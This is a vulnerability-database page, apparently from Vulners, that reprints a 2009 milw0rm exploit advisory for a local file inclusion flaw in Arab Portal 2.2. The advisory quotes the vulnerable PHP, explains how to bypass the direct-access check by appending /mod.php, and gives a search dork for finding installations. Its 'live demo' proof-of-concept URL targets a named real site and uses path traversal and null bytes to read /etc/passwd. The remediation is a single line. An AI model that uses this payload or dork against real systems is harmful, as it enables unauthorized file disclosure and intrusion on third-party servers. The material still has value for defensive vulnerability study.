Lucene search
K

Arab Portal <= 2.2 (mod.php module) Local File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 43 Views

Arab Portal <= 2.2 Local File Inclusion Vulnerability. Vulnerable module mod.ph

Code

                                                                                            ||          ||   | ||
                                     o_,_7 _||  . _o_7 _|| q_|_||  o_\\\_,
                                    (  :  /    (_)    /           (      .
 
                                             ___________________
                                           _/QQQQQQQQQQQQQQQQQQQ\__
                                        __/QQQ/````````````````\QQQ\___
                                      _/QQQQQ/                  \QQQQQQ\
                                     /QQQQ/``                    ```QQQQ\
                                    /QQQQ/                          \QQQQ\
                                   |QQQQ/    By  Qabandi             \QQQQ|
                                   |QQQQ|                            |QQQQ|
                                   |QQQQ|    From Kuwait, PEACE...   |QQQQ|
                                   |QQQQ|                            |QQQQ|
                                   |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
                                    \QQQQ\                      __  /QQQQ/
                                     \QQQQ\                    /QQ\_QQQQ/
                                      \QQQQ\                   \QQQQQQQ/
                                       \QQQQQ\                 /QQQQQ/_
                                        ``\QQQQQ\_____________/QQQ/\QQQQ\_
                                           ``\QQQQQQQQQQQQQQQQQQQ/  `\QQQQ\
                                              ```````````````````     `````
 
=Vuln:        Arab Portal &#60;= 2.2 Local File Include Vulnerability
=INFO:        http://www.ArabPortal.Info
=BUY:          ---
=Download:      ---
=DORK:        &#34;intitle:t3al shmeh&#34;
 
                                  ____________
                              _-=/:Conditions:\=-_
````````````````````````````````````````````````````````````````````````````````
 
Magic_quotes MUST BE OFF
Register Globals MUST BE ON
The method used to bypass the &#34;direct access&#34; security works on some servers, not sure which ones exactly.
 
---------------------------------------===--------------------------------------
 
                                _________________
                            _-=/:Vulnerable_Code:\=-_
````````````````````````````````````````````````````````````````````````````````
// in &#34;modules/aljazeera/admin/setup.php&#34;
 
if (!eregi(&#34;mod.php&#34;, $PHP_SELF)) { die (&#34;No Direct Access!&#34;); }  &#60;---- We can bypass by adding /mod.php end of the URL
 
echo &#34;&#60;table border=0 width=80% cellspacing=2 cellpadding=6&#62;&#60;tr&#62;
&#60;td align=right class=datacell&#62;
&#60;b&#62;Welcome ...&#60;/b&#62;&#60;br&#62;&#60;br&#62;&#34;;
 
include(&#34;./../modules/$module/admin/information.php&#34;);
 
//
---------------------------------------===--------------------------------------
 
                                     _______
                                 _-=/:P.o.C:\=-_
````````````````````````````````````````````````````````````````````````````````
LIVE DEMO:
http://a-shareef.com/modules/aljazeera/admin/setup.php/mod.php?module=../../../../../../etc////passwd%00Qabandi%00Was%00Here
 
note: the module comes with the script by default.
 
 
---------------------------------------===--------------------------------------
 
                                    __________
                                _-=/:SOLUTION:\=-_
````````````````````````````````````````````````````````````````````````````````
Use a diffrent method for direct access authentication.
 
---------------------------------------===--------------------------------------
 ______________________________________________________________________________
/                                                                              \
|      I%00REALY%00DONT%00GIVE%00A%00DAMN!                                     |
\______________________________________________________________________________/
                                \ No More Private /
                                 `````````````````
                           Salamz to All Muslim Hackers. 

# milw0rm.com [2009-08-03]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation